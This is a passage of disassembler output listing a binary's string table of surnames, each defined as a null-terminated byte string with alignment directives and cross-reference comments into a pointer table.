		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E628o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E624o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E620o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E61Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E618o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E614o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E610o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E60Co
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E608o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E604o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E600o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E5FCo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E5F8o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E5F4o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E5F0o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E5ECo
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E5E8o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E5E4o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E5E0o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E5DCo
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E5D8o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5D4o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5D0o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5CCo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5C8o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5C4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5C0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5BCo
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5B8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5B4o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5B0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5ACo
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5A8o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E5A4o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E5A0o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E59Co
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E598o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E594o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E590o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E58Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E588o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E584o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E580o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E57Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E578o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E574o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E570o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E56Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E568o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E564o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E560o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E55Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E558o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E554o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E550o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E54Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E548o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E544o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E540o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E53Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E538o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E534o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E530o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E52Co
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E528o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E524o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E520o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E51Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E518o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E514o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E510o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E50Co
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E508o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E504o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E500o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E4FCo
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E4F8o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E4F4o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E4F0o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E4ECo
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E4E8o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E4E4o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E4E0o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E4DCo
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E4D8o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4D4o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4D0o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4CCo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4C8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4C4o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4C0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4BCo
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4B8o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4B4o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4B0o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4ACo
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4A8o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E4A4o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E4A0o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E49Co
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E498o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E494o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E490o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E48Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E488o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E484o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E480o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E47Co
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E478o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E474o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E470o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E46Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E468o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E464o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E460o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E45Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E458o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E454o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E450o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E44Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E448o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E444o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E440o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E43Co
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E438o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E434o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E430o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E42Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E428o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E424o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E420o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E41Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E418o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E414o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E410o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E40Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E408o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E404o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E400o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E3FCo
aRush		db 'Rush',0             ; DATA XREF: ___:0042E3F8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E3F4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E3F0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E3ECo
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E3E8o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E3E4o
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0042E3E0o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E3DCo
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E3D8o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3D4o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3D0o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3CCo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3C8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3C4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3C0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3BCo
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3B8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3B4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3B0o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3ACo
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3A8o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E3A0o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E39Co
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E398o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E394o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E390o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E38Co
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E388o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E384o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E380o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E37Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E378o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E374o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E370o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E36Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E368o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E364o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E360o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E35Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E358o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E354o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E350o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E34Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E348o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E344o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E340o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E33Co
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E338o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E334o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E330o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E32Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E328o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E324o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E320o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E31Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E318o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E314o
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0042E310o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E30Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E308o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E304o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E300o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E2F8o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E2F4o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E2F0o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E2ECo
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E2E8o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E2E4o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E2E0o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E2DCo
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E2D8o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2D4o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2D0o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2CCo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2C8o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2C4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2C0o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2BCo
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2B8o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2B4o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2B0o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2ACo
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2A8o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E2A4o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E2A0o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E29Co
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E298o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E294o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E290o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E28Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E288o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E284o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E280o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E27Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E278o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E274o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E270o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E26Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E268o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E264o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E260o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E25Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E258o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E254o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E250o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E24Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E248o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E244o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E240o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E23Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E238o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E234o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E230o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E22Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E228o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E224o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E220o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E21Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E218o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E214o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E210o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E20Co
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E208o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E204o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E200o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E1FCo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E1F8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E1F4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E1F0o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E1ECo
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E1E8o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E1E4o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E1E0o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E1DCo
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E1D8o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1D4o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1D0o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1CCo
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1C8o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1C4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1C0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1BCo
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1B8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1B4o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1B0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1ACo
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1A8o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E1A4o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E1A0o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E19Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E198o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E194o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E190o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E18Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E188o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E184o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E180o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E17Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E178o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E174o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E170o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E16Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E168o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E164o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E160o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E15Co
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E158o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E154o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E150o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E14Co
aMini		db 'Mini',0             ; DATA XREF: ___:0042E148o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E144o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E140o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E13Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E138o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E134o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E130o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E12Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E128o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E124o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E120o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E11Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E118o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E114o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E110o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E10Co
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E108o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E104o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E100o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E0FCo
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E0F8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E0F4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E0F0o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E0ECo
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E0E8o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E0E4o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E0E0o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E0DCo
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E0D8o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0D4o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0D0o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0CCo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0C8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0C4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0C0o
aMay		db 'May',0              ; DATA XREF: ___:0042E0BCo
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0B8o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0B4o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0B0o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0ACo
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0A8o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E0A4o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E0A0o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E09Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E098o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E094o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E090o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E08Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E088o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E084o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E080o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E07Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E078o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E074o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E070o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E06Co
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E068o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E064o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E060o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E05Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E058o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E054o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E050o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E04Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E048o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E044o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E040o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E03Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E038o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E034o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E030o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E02Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E028o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E024o
